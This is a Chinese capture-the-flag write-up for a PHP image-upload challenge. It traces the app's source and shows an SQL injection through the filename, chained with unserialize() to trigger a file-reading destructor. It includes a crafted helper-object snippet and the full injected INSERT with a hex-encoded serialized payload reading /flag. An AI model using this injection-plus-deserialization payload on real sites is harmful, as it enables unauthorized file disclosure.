[安洵杯 2019]不是文件上传 首先看到梳理应用逻辑
有上传文件入口
可以查看文件上传的结果 show.php
可以删除所有上传的文件
show.php 提示只能保存文件名和路径
查看图片功能尚未完成,目前只能保存您图片名称的内容。 我希望你能原谅我和我的同事,我正在努力改进。
想尝试找出文件实际保存位置,没找到,再扫一下目录吧
同时尝试上传其他类型文件,发现好像只能上传图像类文件
目录扫描出config.txt
内容只有<h1>This is foot<h2>
结合题目,问题应该不是在文件上传处,再找找
看wp,发现需要找一下系统的源码
在github上搜索wowouploadimage
分析源码
index.html是首页
upload.php负责上传文件,其引用了helper.php
show.php负责查询数据库来显示上传结果,也引用了helper.php
helper.php负责将关于图像的属性信息插入数据库的images表
通读代码首先注意到helper.php中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public function upload ($input ="file" ) { $fileinfo = $this ->getfile ($input ); $array = array (); $array ["title" ] = $fileinfo ['title' ]; $array ["filename" ] = $fileinfo ['filename' ]; $array ["ext" ] = $fileinfo ['ext' ]; $array ["path" ] = $fileinfo ['path' ]; $img_ext = getimagesize ($_FILES [$input ]["tmp_name" ]); $my_ext = array ("width" =>$img_ext [0 ],"height" =>$img_ext [1 ]); $array ["attr" ] = serialize ($my_ext ); $id = $this ->save ($array ); if ($id == 0 ){ die ("Something wrong!" ); } echo "<br>" ; echo "<p>Your images is uploaded successfully. And your image's id is $id .</p>" ; }
存在$array["attr"] = serialize($my_ext);
序列化
但此处的$array["attr"]
为从图像中读取的宽高信息,无法控制。
show.php中对存入数据库的字段进行了读取并反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public function Get_All_Images ( ) { $sql = "SELECT * FROM images" ; $result = mysqli_query ($this ->con, $sql ); if ($result ->num_rows > 0 ){ while ($row = $result ->fetch_assoc ()){ if ($row ["attr" ]){ $attr_temp = str_replace ('\0\0\0' , chr (0 ).'*' .chr (0 ), $row ["attr" ]); $attr = unserialize ($attr_temp ); } echo "<p>id=" .$row ["id" ]." filename=" .$row ["filename" ]." path=" .$row ["path" ]."</p>" ; } }else { echo "<p>You have not uploaded an image yet.</p>" ; } mysqli_close ($this ->con); }
关键点在于helper.php中的check()
,其没有对sql注入进行防护
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public function check ($info ) { $basename = substr (md5 (time ().uniqid ()),9 ,16 ); $filename = $info ["name" ]; $ext = substr (strrchr ($filename , '.' ), 1 ); $cate_exts = array ("jpg" ,"gif" ,"png" ,"jpeg" ); if (!in_array ($ext ,$cate_exts )){ die ("<p>Please upload the correct image file!!!</p>" ); } $title = str_replace ("." .$ext ,'' ,$filename ); return array ('title' =>$title ,'filename' =>$basename ."." .$ext ,'ext' =>$ext ,'path' =>$this ->folder.$basename ."." .$ext ); }
返回数组中的元素在后面的函数中被拼接并插入数据库
其中filename是MD5值,ext是文件后缀,path是/pic/
下的MD5文件名,title是去掉了文件后缀的文件名
只有title是用户直接可控的,且程序在此处未作过滤,后面又将该字段拼接sql语句,存在注入。
结合注入,在反序列化时可传入helper对象,利用helper对象的析构函数实现文件读取。
1 2 3 4 5 6 7 8 9 10 11 12 13 public function view_files ($path ) { if ($this ->ifview == False){ return False; } $content = file_get_contents ($path ); echo $content ; } function __destruct ( ) { $this ->view_files ($this ->config); }
首先定义一个用于传入的helper对象
1 2 3 4 5 6 7 8 <?php class helper { protected $ifview = True; protected $config = "/flag" ; } print (hex)?>
对文件名进行注入
插入的sql语句相当于
1 INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES ('1' ,'1' ,'1' ,'1' ,0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d )#',' 30 a5611102e7e6d2.png',' png',' pic/ 30 a5611102e7e6d2.png',' a:2 :{s:5 :"width";i:32 ;s:6 :"height";i:32 ;}')